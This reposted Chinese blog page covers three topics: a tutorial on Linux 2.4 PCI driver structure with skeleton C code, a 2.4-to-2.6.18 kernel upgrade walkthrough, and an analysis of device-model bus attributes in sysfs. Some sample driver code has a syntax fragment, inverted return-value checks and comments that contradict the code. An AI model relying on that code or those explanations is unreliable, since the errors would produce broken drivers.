(*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);        unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);};


当应用程序对设备文件进行诸如open、close、read、write等操作时,Linux内核将通过file_operations结构访问驱动程 序提供的函数。例如,当应用程序对设备文件执行读操作时,内核将调用file_operations结构中的read函数。

3. 设备驱动程序模块

Linux下的设备驱动程序可以按照两种方式进行编译,一种是直接静态编译成内核的一部分,另一种则是编译成可以动态加载的模块。如果编译进内核的话,会增加内核的大小,还要改动内核的源文件,而且不能动态地卸载,不利于调试,所有推荐使用模块方式。

从本质上来讲,模块也是内核的一部分,它不同于普通的应用程序,不能调用位于用户态下的C或者C++库函数,而只能调用Linux内核提供的函数,在/proc/ksyms中可以查看到内核提供的所有函数。

在以模块方式编写驱动程序时,要实现两个必不可少的函数init_module( )和cleanup_module( ),而且至少要包含和两 个头文件。在用gcc编译内核模块时,需要加上-DMODULE -D__KERNEL__ -DLINUX这几个参数,编译生成的模块(一般为.o文件)可以使用命令insmod载入Linux内核,从而成为内核的一个组成部分,此时内核会调用 模块中的函数init_module( )。当不需要该模块时,可以使用rmmod命令进行卸载,此进内核会调用模块中的函数cleanup_module( )。任何时候都可以使用命令来lsmod查看目前已经加载的模块以及正在使用该模块的用户数。

4. 设备驱动程序结构

了解设备驱动程序的基本结构(或者称为框架),对开发人员而言是非常重要的,Linux的设备驱动程序大致可以分为如下几个部分:驱动程序的注册与注销、设备的打开与释放、设备的读写操作、设备的控制操作、设备的中断和轮询处理。

驱动程序的注册与注销

向系统增加一个驱动程序意味着要赋予它一个主设备号,这可以通过在驱动程序的初始化过程中调用register_chrdev( )或者register_blkdev( )来完成。而在关闭字符设备或者块设备时,则需要通过调用unregister_chrdev( )或unregister_blkdev( )从内核中注销设备,同时释放占用的主设备号。

设备的打开与释放

打开设备是通过调用file_operations结构中的函数open( )来完成的,它是驱动程序用来为今后的操作完成初始化准备工作的。在大部分驱动程序中,open( )通常需要完成下列工作:

1.检查设备相关错误,如设备尚未准备好等。

2.如果是第一次打开,则初始化硬件设备。

3.识别次设备号,如果有必要则更新读写操作的当前位置指针f_ops。

4.分配和填写要放在file->private_data里的数据结构。

5.使用计数增1。

释放设备是通过调用file_operations结构中的函数release( )来完成的,这个设备方法有时也被称为close( ),它的作用正好与open( )相反,通常要完成下列工作:

1.使用计数减1。

2.释放在file->private_data中分配的内存。

3.如果使用计算为0,则关闭设备。

设备的读写操作

字符设备的读写操作相对比较简单,直接使用函数read( )和write( )就可以了。但如果是块设备的话,则需要调用函数block_read( )和block_write( )来进行数据读写,这两个函数将向设备请求表中增加读写请求,以便Linux内核可以对请求顺序进行优化。由于是对内存缓冲区而不是直接对设备进行操作 的,因此能很大程度上加快读写速度。如果内存缓冲区中没有所要读入的数据,或者需要执行写操作将数据写入设备,那么就要执行真正的数据传输,这是通过调用 数据结构blk_dev_struct中的函数request_fn( )来完成的。

设备的控制操作

除了读写操作外,应用程序有时还需要对设备进行控制,这可以通过设备驱动程序中的函数ioctl( )来完成。ioctl( )的用法与具体设备密切关联,因此需要根据设备的实际情况进行具体分析。

设备的中断和轮询处理

对于不支持中断的硬件设备,读写时需要轮流查询设备状态,以便决定是否继续进行数据传输。如果设备支持中断,则可以按中断方式进行操作。

三、PCI驱动程序实现

1. 关键数据结构

PCI设备上有三种地址空间:PCI的I/O空间、PCI的存储空间和PCI的配置空间。CPU可以访问PCI设备上的所有地址空间,其中I/O空间和存 储空间提供给设备驱动程序使用,而配置空间则由Linux内核中的PCI初始化代码使用。内核在启动时负责对所有PCI设备进行初始化,配置好所有的 PCI设备,包括中断号以及I/O基址,并在文件/proc/pci中列出所有找到的PCI设备,以及这些设备的参数和属性。

Linux驱动程序通常使用结构(struct)来表示一种设备,而结构体中的变量则代表某一具体设备,该变量存放了与该设备相关的所有信息。好的驱动程 序都应该能驱动多个同种设备,每个设备之间用次设备号进行区分,如果采用结构数据来代表所有能由该驱动程序驱动的设备,那么就可以简单地使用数组下标来表 示次设备号。

在PCI驱动程序中,下面几个关键数据结构起着非常核心的作用:

pci_driver

这个数据结构在文件include/linux/pci.h里,这是Linux内核版本2.4之后为新型的PCI设备驱动程序所添加的,其中最主要的是用于识别设备的id_table结构,以及用于检测设备的函数probe( )和卸载设备的函数remove( ):

struct pci_driver {    struct list_head node;    char *name;    const struct pci_device_id *id_table;    int  (*probe)  (struct pci_dev *dev, const struct pci_device_id *id);    void (*remove) (struct pci_dev *dev);    int  (*save_state) (struct pci_dev *dev, u32 state);    int  (*suspend)(struct pci_dev *dev, u32 state);    int  (*resume) (struct pci_dev *dev);    int  (*enable_wake) (struct pci_dev *dev, u32 state, int enable);};


pci_dev

这个数据结构也在文件include/linux/pci.h里,它详细描述了一个PCI设备几乎所有的硬件信息,包括厂商ID、设备ID、各种资源等:

struct pci_dev {    struct list_head global_list;    struct list_head bus_list;    struct pci_bus  *bus;    struct pci_bus  *subordinate;    void        *sysdata;    struct proc_dir_entry *procent;    unsigned int    devfn;    unsigned short  vendor;    unsigned short  device;    unsigned short  subsystem_vendor;    unsigned short  subsystem_device;    unsigned int    class;    u8      hdr_type;    u8      rom_base_reg;    struct pci_driver *driver;    void        *driver_data;    u64     dma_mask;    u32             current_state;    unsigned short vendor_compatible[DEVICE_COUNT_COMPATIBLE];    unsigned short device_compatible[DEVICE_COUNT_COMPATIBLE];    unsigned int    irq;    struct resource resource[DEVICE_COUNT_RESOURCE];    struct resource dma_resource[DEVICE_COUNT_DMA];    struct resource irq_resource[DEVICE_COUNT_IRQ];    char        name[80];    char        slot_name[8];    int     active;    int     ro;    unsigned short  regs;    int (*prepare)(struct pci_dev *dev);    int (*activate)(struct pci_dev *dev);    int (*deactivate)(struct pci_dev *dev);};


2. 基本框架

在用模块方式实现PCI设备驱动程序时,通常至少要实现以下几个部分:初始化设备模块、设备打开模块、数据读写和控制模块、中断处理模块、设备释放模块、设备卸载模块。下面给出一个典型的PCI设备驱动程序的基本框架,从中不难体会到这几个关键模块是如何组织起来的。

/* 指明该驱动程序适用于哪一些PCI设备 */static struct pci_device_id demo_pci_tbl [] __initdata = {    {PCI_VENDOR_ID_DEMO, PCI_DEVICE_ID_DEMO,     PCI_ANY_ID, PCI_ANY_ID, 0, 0, DEMO},    {0,}};/* 对特定PCI设备进行描述的数据结构 */struct demo_card {    unsigned int magic;    /* 使用链表保存所有同类的PCI设备 */    struct demo_card *next;        /* ... */}/* 中断处理模块 */static void demo_interrupt(int irq, void *dev_id, struct pt_regs *regs){    /* ... */}/* 设备文件操作接口 */static struct file_operations demo_fops = {    owner:      THIS_MODULE,   /* demo_fops所属的设备模块 */    read:       demo_read,    /* 读设备操作*/    write:      demo_write,    /* 写设备操作*/    ioctl:      demo_ioctl,    /* 控制设备操作*/    mmap:       demo_mmap,    /* 内存重映射操作*/    open:       demo_open,    /* 打开设备操作*/    release:    demo_release    /* 释放设备操作*/    /* ... */};/* 设备模块信息 */static struct pci_driver demo_pci_driver = {    name:       demo_MODULE_NAME,    /* 设备模块名称 */    id_table:   demo_pci_tbl,    /* 能够驱动的设备列表 */    probe:      demo_probe,    /* 查找并初始化设备 */    remove:     demo_remove    /* 卸载设备模块 */    /* ... */};static int __init demo_init_module (void){    /* ... */}static void __exit demo_cleanup_module (void){    pci_unregister_driver(&demo_pci_driver);}/* 加载驱动程序模块入口 */module_init(demo_init_module);/* 卸载驱动程序模块入口 */module_exit(demo_cleanup_module);


上面这段代码给出了一个典型的PCI设备驱动程序的框架,是一种相对固定的模式。需要注意的是,同加载和卸载模块相关的函数或数据结构都要在前面加上 __init、__exit等标志符,以使同普通函数区分开来。构造出这样一个框架之后,接下去的工作就是如何完成框架内的各个功能模块了。

3. 初始化设备模块

在Linux系统下,想要完成对一个PCI设备的初始化,需要完成以下工作:

检查PCI总线是否被Linux内核支持;

检查设备是否插在总线插槽上,如果在的话则保存它所占用的插槽的位置等信息。

读出配置头中的信息提供给驱动程序使用。

当Linux内核启动并完成对所有PCI设备进行扫描、登录和分配资源等初始化操作的同时,会建立起系统中所有PCI设备的拓扑结构,此后当PCI驱动程序需要对设备进行初始化时,一般都会调用如下的代码:

static int __init demo_init_module (void){    /* 检查系统是否支持PCI总线 */    if (!pci_present())        return -ENODEV;    /* 注册硬件驱动程序 */    if (!pci_register_driver(&demo_pci_driver)) {        pci_unregister_driver(&demo_pci_driver);                return -ENODEV;    }    /* ... */       return 0;}


驱动程序首先调用函数pci_present( )检查PCI总线是否已经被Linux内核支持,如果系统支持PCI总线结构,这个函数的返回值为0,如果驱动程序在调用这个函数时得到了一个非0的返回 值,那么驱动程序就必须得中止自己的任务了。在2.4以前的内核中,需要手工调用pci_find_device( )函数来查找PCI设备,但在2.4以后更好的办法是调用pci_register_driver( )函数来注册PCI设备的驱动程序,此时需要提供一个pci_driver结构,在该结构中给出的probe探测例程将负责完成对硬件的检测工作。

 static int __init demo_probe(struct pci_dev *pci_dev, const struct pci_device_id *pci_id){    struct demo_card *card;    /* 启动PCI设备 */    if (pci_enable_device(pci_dev))        return -EIO;    /* 设备DMA标识 */    if (pci_set_dma_mask(pci_dev, DEMO_DMA_MASK)) {        return -ENODEV;    }    /* 在内核空间中动态申请内存 */    if ((card = kmalloc(sizeof(struct demo_card), GFP_KERNEL)) == NULL) {        printk(KERN_ERR "pci_demo: out of memory\n");        return -ENOMEM;    }    memset(card, 0, sizeof(*card));    /* 读取PCI配置信息 */    card->iobase = pci_resource_start (pci_dev, 1);    card->pci_dev = pci_dev;    card->pci_id = pci_id->device;    card->irq = pci_dev->irq;    card->next = devs;    card->magic = DEMO_CARD_MAGIC;    /* 设置成总线主DMA模式 */        pci_set_master(pci_dev);    /* 申请I/O资源 */    request_region(card->iobase, 64, card_names[pci_id->driver_data]);    return 0;}


4. 打开设备模块

在这个模块里主要实现申请中断、检查读写模式以及申请对设备的控制权等。在申请控制权的时候,非阻塞方式遇忙返回,否则进程主动接受调度,进入睡眠状态,等待其它进程释放对设备的控制权。

static int demo_open(struct inode *inode, struct file *file){    /* 申请中断,注册中断处理程序 */    request_irq(card->irq, &demo_interrupt, SA_SHIRQ,        card_names[pci_id->driver_data], card)) {    /* 检查读写模式 */    if(file->f_mode & FMODE_READ) {        /* ... */    }    if(file->f_mode & FMODE_WRITE) {       /* ... */    }        /* 申请对设备的控制权 */    down(&card->open_sem);    while(card->open_mode & file->f_mode) {        if (file->f_flags & O_NONBLOCK) {            /* NONBLOCK模式,返回-EBUSY */            up(&card->open_sem);            return -EBUSY;        } else {            /* 等待调度,获得控制权 */            card->open_mode |= f_mode & (FMODE_READ | FMODE_WRITE);            up(&card->open_sem);            /* 设备打开计数增1 */            MOD_INC_USE_COUNT;            /* ... */        }    }}


5. 数据读写和控制信息模块

PCI设备驱动程序可以通过demo_fops 结构中的函数demo_ioctl( ),向应用程序提供对硬件进行控制的接口。例如,通过它可以从I/O寄存器里读取一个数据,并传送到用户空间里:

static int demo_ioctl(struct inode *inode, struct file *file, unsigned int cmd, unsigned long arg){    /* ... */        switch(cmd) {        case DEMO_RDATA:            /* 从I/O端口读取4字节的数据 */            val = inl(card->iobae + 0x10);            /* 将读取的数据传输到用户空间 */            return 0;    }        /* ... */}


事实上,在demo_fops里还可以实现诸如demo_read( )、demo_mmap( )等操作,Linux内核源码中的driver目录里提供了许多设备驱动程序的源代码,找那里可以找到类似的例子。在对资源的访问方式上,除了有I/O指 令以外,还有对外设I/O内存的访问。对这些内存的操作一方面可以通过把I/O内存重新映射后作为普通内存进行操作,另一方面也可以通过总线主DMA (Bus Master DMA)的方式让设备把数据通过DMA传送到系统内存中。

6. 中断处理模块

PC的中断资源比较有限,只有0~15的中断号,因此大部分外部设备都是以共享的形式申请中断号的。当中断发生的时候,中断处理程序首先负责对中断进行识别,然后再做进一步的处理。

static void demo_interrupt(int irq, void *dev_id, struct pt_regs *regs){    struct demo_card *card = (struct demo_card *)dev_id;    u32 status;    spin_lock(&card->lock);    /* 识别中断 */    status = inl(card->iobase + GLOB_STA);    if(!(status & INT_MASK))     {        spin_unlock(&card->lock);        return;  /* not for us */    }    /* 告诉设备已经收到中断 */    outl(status & INT_MASK, card->iobase + GLOB_STA);    spin_unlock(&card->lock);        /* 其它进一步的处理,如更新DMA缓冲区指针等 */}


7. 释放设备模块

释放设备模块主要负责释放对设备的控制权,释放占用的内存和中断等,所做的事情正好与打开设备模块相反:

static int demo_release(struct inode *inode, struct file *file){    /* ... */        /* 释放对设备的控制权 */    card->open_mode &= (FMODE_READ | FMODE_WRITE);        /* 唤醒其它等待获取控制权的进程 */    wake_up(&card->open_wait);    up(&card->open_sem);        /* 释放中断 */    free_irq(card->irq, card);        /* 设备打开计数增1 */    MOD_DEC_USE_COUNT;        /* ... */  }


8. 卸载设备模块

卸载设备模块与初始化设备模块是相对应的,实现起来相对比较简单,主要是调用函数pci_unregister_driver( )从Linux内核中注销设备驱动程序:

static void __exit demo_cleanup_module (void){    pci_unregister_driver(&demo_pci_driver);}


四、小结

PCI总线不仅是目前应用广泛的计算机总线标准,而且是一种兼容性最强、功能最全的计算机总线。而Linux作为一种新的操作系统,其发展前景是无法估量 的,同时也为PCI总线与各种新型设备互连成为可能。由于Linux源码开放,因此给连接到PCI总线上的任何设备编写驱动程序变得相对容易。本文介绍如 何编译Linux下的PCI驱动程序,针对的内核版本是2.4。

参考资料: David A Rusling在 The Linux Kernel中对Linux的PCI子系统进行了比较详细的介绍。

Linux PCI-HOWTO是了解Linux下PCI设备的最好读物。

毛德操,胡希明,Linux内核源代码情景分析,杭州:浙江大学出版社,2001

Alessandro Rubini,,Linux Device Drivers(2nd Edition) USA:O’Reilly,2001

Tomshanley,DonAderson,PCI系统结构(第四版),北京:电子工业出版社,2000


本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/mingjie_520/archive/2009/03/27/4029919.aspx

posted @ 2009-06-20 16:02 MEYE 阅读(596) | 评论 (0)编辑 收藏

换内核

由于开发环境需要,更换了一个比较新的内核,更换过程参考了附文,但文章稍显繁琐,我给大致总结一下,具体过程见原文。
1、找到自己需要的内核,可以在此寻找:http://www.kernel.org/pub/linux/kernel/v2.6(当然不一定能找到最新的,我用到的2.6.30当时未能找到)。
2、下载内核升级工具:
(1)安装module-init-tools工具
# tar jvxf module-init-tools-3.2.tar.bz2  (解压module-init-tools) 
# cd module-init-tools-3.2  (由/usr/src目录进入module-init-tools目录下)
#./configure --prefix=/ 
# make moveold
# make all install
#./generate-modprobe.conf /etc/modprobe.conf (该步能否运行未知,多次运行均未果)
(2)安装另外三个升级工具
# rpm -ivh --nodeps mkinitrd-4.1.18-2.i386.rpm  (注意,这里一定要加入--nodeps参数,下同)
# rpm -ivh --nodeps lvm2-2.00.25-1.01.i386.rpm
# rpm -ivh --nodeps device-mapper-1.00.19-2.i386.rpm
4、配置编译内核
解压内核源码包到linux-2.6.x
# cd linux-2.6.x  
# make mrproper  (该命令可确保源代码目录下没有不正确的.o文件)
# make menuconfig (配置内核各选项,配置详情参考原文)
 
# make dep  (建立编译时所需的从属文件。注意:如果内核从未编译过,此步可跳过)
# make clean  (清除内核编译的目标文件。注意:如果内核从未编译过,此步可跳过)
# make bzImage  (注意大小写。这一步才是真正编译内核)
 # make modules  (编译可加载模块) (此步骤约半到1小时,需耐心等待)
# make modules_install  (安装可加载模块)
  安装成功后,系统会在/lib/modules目录下生成一个2.6.18子目录,里面存放着新内核的所有可加载模块。
# make install  (安装新内核)
5、启动新内核
此时我的系统中/root目录下已经有了新内核及启动项,启动配置文件(我的貌似是/root/grub/menu.lst)也已自动更改好,直接重启并在启动页面选择新内核OK。
若启动项未自动更改再次参考原文。
附原文:
序  言
由于开发环境需要在linux-2.6内核上进行,于是准备对我的虚拟机上的Linux系统升级。没想到这一弄就花了两天时间(反复装系统,辛苦啊~~),总算把Linux系统从2.4.20-8内核成功升级到了2.6.18内核。
网上虽然有很多介绍Linux内核升级的文章,不过要么过时,下载链接失效;要么表达不清,不知所云;更可气的是很多文章在转载过程中命令行都有错误。刚开始我就是在这些“攻略”的指点下来升级的,以致于浪费了很多时间。
现在,费尽周折,升级成功,心情很爽,趁性也来写个“升级攻略”吧!于是特意又在虚拟机上重新安装一个Linux系统,再来一次完美的升级,边升级边记录这些步骤,写成一篇Linux内核升级记实录(可不是回忆录啊!),和大家一起分享~~!
一、准备工作
首先说明,下面带#号的行都是要输入的命令行,且本文提到的所有命令行都在终端里输入。
启动Linux系统,并用根用户登录,进入终端模式下。
1、查看Linux内核版本
# uname -a
如果屏幕显示的是2.6.x,说明你的已经是2.6的内核,也用不着看下文了,该干什么干什么去吧!~~~如果显示的是2.4.x,那恭喜你,闯关通过,赶快进行下一步。
3、下载内核升级工具
(1)下载module-init-tools-3.2.tar.bz2
http://www.kernel.org/pub/linux/utils/kernel/module-init-tools/module-init-tools-3.2.tar.bz2 
(2)下载mkinitrd-4.1.18-2.i386.rpm
http://ayo.freshrpms.net/fedora/linux/3/i386/RPMS.core/mkinitrd-4.1.18-2.i386.rpm 
(3)下载lvm2-2.00.25-1.01.i386.rpm
http://ayo.freshrpms.net/fedora/linux/3/i386/RPMS.core/lvm2-2.00.25-1.01.i386.rpm
(4)下载device-mapper-1.00.19-2.i386.rpm
http://ayo.freshrpms.net/fedora/linux/3/i386/RPMS.core/device-mapper-1.00.19-2.i386.rpm
(2.6.18内核和这4个升级工具我都有备份,如果以上下载地址失效,请到http://www.piaoyang.org/guestbook 留下你的邮箱,我给你发过去)
二、配置工作
好啦,2.6内核和4个升级工具都下载完了(少一个也不行,如果没有下载齐全,请不要尝试下面的步骤,升级是不会成功的),下面回到Linux系统中开始配置工作吧。
4、将下载好的内核源码包和4个升级工具都拷贝到/usr/src文件夹下。怎么拷贝就不用我教了吧~~~~不会拷贝的去撞墙吧!~~呵呵!
5、拷贝完毕,开始解压新内核,具体操作请依次执行以下命令:
# cd /usr/src  (进入到/usr/src目录下,如果已经在/usr/src目录下,可不执行该命令)
# rm –rf linux  (删除linux文件夹。值得一提的是,如果内核先前从未编译过,则没有这个文件夹,此命令行可略过)
# tar jvxf linux-2.6.18.tar.bz2  (解压新内核)
# ln -s linux-2.6.18 linux  (重新生成linux文件夹)
6、安装module-init-tools工具
在/usr/src目录下,依次执行下列命令:
# tar jvxf module-init-tools-3.2.tar.bz2  (解压module-init-tools) 
# cd module-init-tools-3.2  (由/usr/src目录进入module-init-tools目录下)
#./configure --prefix=/ 
# make moveold
# make all install
#./generate-modprobe.conf /etc/modprobe.conf
7、安装另外三个升级工具
回到/usr/src目录下,依次执行下列3个命令来安装另外三个升级工具:
# rpm -ivh --nodeps mkinitrd-4.1.18-2.i386.rpm  (注意,这里一定要加入--nodeps参数,下同)
# rpm -ivh --nodeps lvm2-2.00.25-1.01.i386.rpm
# rpm -ivh --nodeps device-mapper-1.00.19-2.i386.rpm
如果不更新以上几个升级包,在后面编译内核时会提示以下错误:
      mkinitrd failed
      make[1]: *** [install] Error 1
      make: *** [install] Error 2
8、配置内核选项。有点繁琐,~~希望一次成功哦~~。
# cd linux-2.6.18  (进入到/usr/src/linux-2.6.18目录下)
# make mrproper  (该命令可确保源代码目录下没有不正确的.o文件)
# make menuconfig (配置内核各选项)
此时会出现一个图形界面,列出了所有的内核配置选项,有的选项下还有子选项,你可以用方向键来选择,用Y键来确定。经过我多次试验,大多数选项默认就行,以下几个选项必须选择(请认真核对下面每一个选项,否则编译很有可能前功尽弃):
(1)Loadable Module support选项中,选上“Module unloading”和“Automatic kernel module loading”这两项;
(2)Device Drivers--->Block Devices中选上“Loopback device support”;
     Device Drivers--->Multi-device support(RAID and LVM)处要选上“device mapper  support”;
     Device Drivers--->Graphics support,一定要选上“ Support for  buffer devices”;
     Device Drivers  --->USB support  --->选上“USB Mass Storage support”(如果是在实环境中,想要更多USB支持,就全选吧。我的是在虚拟机中,用不着了)
     Device Drivers  --->;Network device support  --->Ethernet (10 or 100Mbit)  ---><*>  AMD PCnet32 PCI support 
(3)File system--->(以下9个选项是关于ext2和ext3文件系统配置,全部选上)
           Second extended fs support
           Ext2 extended attributes
           Ext2 POSIX Access Control Lists
           Ext2 Security Labels
           Ext3 journalling file system support
           Ext3 extended attributes
           Ext3 POSIX Access Control Lists
           Ext3 Security Labels
           JBB (ext3) debugging support
     File system--->DOS/FAT/NT Filesystems  --->选上“NTFS file system support”;
注意:
       ext2和ext3文件系统配置很重要,也是必需的,如果对Ext3、Ext2文件的支持直接编译进内核,在你reboot时机器就会当掉,出现如下错误信息:
          kernel panic : no init found ,try passing init = option to kernel.....
或者是:
          VFS:Cannot open root device "hdxy" or unknow-block(0,0)
          Please append a correct "root=" boot option
          kernel panic:VFS:Unable to mount root fs on unknown-block(0,0) 
或者是:
          mount: error 19 mounting ext3
          pivotroot: pivot_root(/sysroot,/sysroot/initrd) failed: 2
          umount /initrd/proc fail: 2
          Freeing unused kernel memory: 244k freed
          Kernel panic – not syncing: No init found. Try passing init = option to kernel
(我的机器就是在重启之后出现第三种错误,进不去系统,郁闷死,只好重装了~~~如果依照本文做完所有步骤,当你重启Linux系统后,若不幸进不去2.6.18内核,你会发现你的出错信息就是上面三种了~~~哈!)
(4)如果你在vmware下编译内核,硬盘用的是scsi的,以下三个选项必选:
     Device Drivers ---><*>SCSI device support  (此项不选的话,下面两项就选择不上)
     Device Drivers ---><*>SCSI device support ---><*>SCSI disk support
     Device Drivers---><8>SCSI device support--->SCSI low-level drivers---><*>; BusLogic SCSI support
三、编译工作
OK,繁杂的配置工作完成了,至此,编译前的准备工作都做好了!
9、开始编译啦……
在/usr/src/linux-2.6.18目录下,执行以下命令即可编译。编译需要一段时间,给自己倒杯茶耐心等候吧!
# make dep  (建立编译时所需的从属文件。注意:如果内核从未编译过,此步可跳过)
# make clean  (清除内核编译的目标文件。注意:如果内核从未编译过,此步可跳过)
# make bzImage  (注意大小写。这一步才是真正编译内核)
     内核编译成功后,会在/usr/src/linux/arch/i386/boot目录中生成一个新内核的映像文件bzImage。如果用 make  zImage编译,内核很大的话,系统会提示你使用make   bzImage命令来编译,所以我直接用make bzImage来编译。
# make modules  (编译可加载模块)
# make modules_install  (安装可加载模块)
  安装成功后,系统会在/lib/modules目录下生成一个2.6.18子目录,里面存放着新内核的所有可加载模块。
# make install  (安装新内核)
注意:
        make install的时候可能会出现如下错误信息:
        No module BusLogic found for kernel 2.4.12
        mkinitrd failed
此问题一般只出现在SCSI硬盘+VMWARE+REDHAT架构中,因为BusLogic被编译进了内核而不是一个module的形式(2.4内核的Buslogic模块即使静态编译进内核也不行)。解决方式是直接将BusLogic.o文件复制过去:
# cp /usr/src/linux-2.6.18/drivers/scsi/BusLogic.o  /lib/modules/2.6.18/kernel/drivers/scsi
不过别忘记,复制过后再执行一下make install。这一步若卡住了,下面的都无法进行,如果看本文档还是没有解决问题,就来我的网上留言本求助吧,进http://www.piaoyang.org ,点“留言本”即可,我会及时看到你的求助信息的。
四、启动新内核
10、将新内核和System.map文件拷贝到/boot目录下,依次执行以下命令:     
# cp  /usr/src/linux-2.6.18/arch/i386/boot/bzImage   /boot/vmlinuz-2.6.18     
# cp  /usr/src/linux-2.6.18/System.map   /boot/System.map-2.6.18     
# cd  /boot  (进入boot目录)
# rm –rf  System.map  (删除原来的连接)     
# ln –s System.map-2.6.18  System.map   (重新建立连接)     
11、修改Grub启动管理器
如果没有错误的话, 下面开始修改grub配置文件(不要告诉我你用的lilo)
在/boot目录下,执行以下命令:
# new-kernel-pkg --mkinitrd --depmod --install 2.6.18 (这时候你的/boot下会生成一个initrd-2.4.18.img,并且你的grub.conf文件也作了相应更改)
# df  (查看根目录在那个分区,下一步要用到。注意,这里根分区不时boot的那个50M的分区,而一般是你最大的那个分区,也就是“/”,千万不要搞错哦。我的为 /dev/hda2)
# vi /grub/grub.conf  
进入grub.conf文件,找到如下信息:
default=1
timeout=10
splashimage=(hd0,0)/grub/splash.xpm.gz
title Red Hat Linux (2.6.18)
        root (hd0,0)
        kernel /vmlinuz-2.6.18 ro root= LABEL=/
        initrd /initrd-2.6.18.img
做两处修改:
(1) 将default=1改为default=0(不改的话也可以,只不过重启之后会默认进入2.4内核)
(2) 将kernel行的“LABEL=/”换成根目录所在的分区(上一步查看的就是)
此步很重要,修改错误将可能导致进不去系统,我把我修改后的grub.conf文件列出来,不明之处,可以对照修改:
default=0
timeout=10
splashimage=(hd0,0)/grub/splash.xpm.gz
title Red Hat Linux (2.6.18)
        root (hd0,0)
        kernel /vmlinuz-2.6.18 ro root=/dev/hda2
        initrd /initrd-2.6.18.img
title Red Hat Linux (2.4.20-8)
        root (hd0,0)
        kernel /vmlinuz-2.4.20-8 ro root=LABEL=/
        initrd /initrd-2.4.20-8.img
12,OK,大功告成!赶快重启,看看升级后的2.6内核吧~~~~
后记:
Linux内核 升级和编译,老掉牙的话题了,网上相关的文章不计其数。然后,这么多的文章,却没有一篇让我顺利的升级成功。经过两天的体验,我深切的感受到,对于像我这样的新手来说,第一次升级和编译Linux内核,真是一项艰巨的任务。好在没有失去耐心,经过多篇文章的比对和自己的琢磨,一次次的修正,终于正确升级、编译成功。总结这两天的感受,那就是“痛,并快乐着”!如果你照着这些步骤一路下来的话,仍然没有成功;那么我可以告诉你两点:一是,不要怀疑我的步骤有问题,因为不光是我,我的同事照我的这篇文档也一次成功;二是,你可以到我的留言本http://www.piaoyang.org/guestbook 给我留言,我会尽力解答你的问题。以此拙作,希望能给大家带去些微的帮助。
posted @ 2009-06-11 21:32 MEYE 阅读(440) | 评论 (0)编辑 收藏
     摘要: linux设备模型深探(1) 2009-06-05 15:37 分类:LinuxDriver 字号: 大大  中中  小小 转自:http://blog.chinaunix.net/u1/51562/showart_1077877.html ------------------------------------------ 本文系本站原创,...  阅读全文
posted @ 2009-06-11 21:31 MEYE 阅读(905) | 评论 (0)编辑 收藏

linux设备模型深探(2) 2009-06-05 15:40

字号:    
这段代码中比较繁锁的就是bus_type对应目录下的属性文件建立,为了直观的说明,将属性文件的建立统一放到一起分析
从上面的代码中可以看,创建属性文件对应的属性分别为:
bus_attr_uevent bus_attr_drivers_probe, bus_attr_drivers_autoprobe
分别定义如下:
static BUS_ATTR(uevent, S_IWUSR, NULL, bus_uevent_store);
static BUS_ATTR(drivers_probe, S_IWUSR, NULL, store_drivers_probe);
static BUS_ATTR(drivers_autoprobe, S_IWUSR | S_IRUGO,
         show_drivers_autoprobe, store_drivers_autoprobe);
BUS_ATTR定义如下:
#define BUS_ATTR(_name, _mode, _show, _store)  \
struct bus_attribute bus_attr_##_name = __ATTR(_name, _mode, _show, _store)
#define __ATTR(_name,_mode,_show,_store) { \
     .attr = {.name = __stringify(_name), .mode = _mode },   \
     .show    = _show,                    \
     .store   = _store,                   \
}
由此可见.上面这三个属性对应的名称为别为uevent, drivers_probe, drivers_autoprobe.也就是说,会在bus_types目录下生成三个文件,分别为uevent,probe,autoprobe.
根据之前的分析,我们知道在sysfs文件系统中,对普通属性文件的读写都会回溯到kobject->ktype->sysfs_ops中.在这里,注意到有:
     priv->subsys.kobj.kset = bus_kset;
     priv->subsys.kobj.ktype = &bus_ktype;
显然,读写操作就回溯到了bus_ktype中.定义如下:
static struct kobj_type bus_ktype = {
     .sysfs_ops    = &bus_sysfs_ops,
};
static struct sysfs_ops bus_sysfs_ops = {
     .show    = bus_attr_show,
     .store   = bus_attr_store,
};
Show和store函数对应的代码为:
static ssize_t bus_attr_show(struct kobject *kobj, struct attribute *attr,
                   char *buf)
{
     struct bus_attribute *bus_attr = to_bus_attr(attr);
     struct bus_type_private *bus_priv = to_bus(kobj);
     ssize_t ret = 0;
 
     if (bus_attr->show)
         ret = bus_attr->show(bus_priv->bus, buf);
     return ret;
}
 
static ssize_t bus_attr_store(struct kobject *kobj, struct attribute *attr,
                    const char *buf, size_t count)
{
     struct bus_attribute *bus_attr = to_bus_attr(attr);
     struct bus_type_private *bus_priv = to_bus(kobj);
     ssize_t ret = 0;
 
     if (bus_attr->store)
         ret = bus_attr->store(bus_priv->bus, buf, count);
     return ret;
}
从代码可以看出.读写操作又会回溯到bus_attribute中的show和store中.在自定义结构里嵌入struct attribute,.然后再操作回溯到自定义结构中,这是一种比较高明的架构设计手法.
闲言少叙.我们对应看一下上面三个文件对应的最终操作:
Uevent对应的读写操作为:NULL, bus_uevent_store.对于这个文件没有读操作,只有写操作.用cat 命令去查看这个文件的时候,可能会返回”设备不存在”的错误.bus_uevent_store()代码如下:
static ssize_t bus_uevent_store(struct bus_type *bus,
                   const char *buf, size_t count)
{
     enum kobject_action action;
 
     if (kobject_action_type(buf, count, &action) == 0)
         kobject_uevent(&bus->p->subsys.kobj, action);
     return count;
}
从这里可以看到,可以在用户空间控制事件的发生,如echo add > event就会产生一个add的事件,
Probe文件对应的读写操作为:NULL store_drivers_probe.
store_drivers_probe()这个函数的代码涉及到struct device.等分析完struct device可以自行回过来看下这个函数的实现.实际上,这个函数是将用户输和的设备名称对应的设备与驱动匹配一次.
 
Autoprobe文件对应的读写操作为show_drivers_autoprobe, store_drivers_autoprobe.对应读的代码为:
static ssize_t show_drivers_autoprobe(struct bus_type *bus, char *buf)
{
     return sprintf(buf, "%d\n", bus->p->drivers_autoprobe);
}
它将总线对应的drivers_autoprobe的值输出到用户空间,这个值为1时,自动将驱动与设备进行匹配.否则,反之.
写操作的代码如下:
static ssize_t store_drivers_autoprobe(struct bus_type *bus,
                          const char *buf, size_t count)
{
     if (buf[0] == '0')
         bus->p->drivers_autoprobe = 0;
     else
         bus->p->drivers_autoprobe = 1;
     return count;
}
写操作就会改变bus->p->drivers_autoprobe的值.
就这样,通过sysfs就可以控制总线是否要进行自动匹配了.
从这里也可以看出.内核开发者的思维是何等的灵活.
我们从sysfs中找个例子来印证一下:
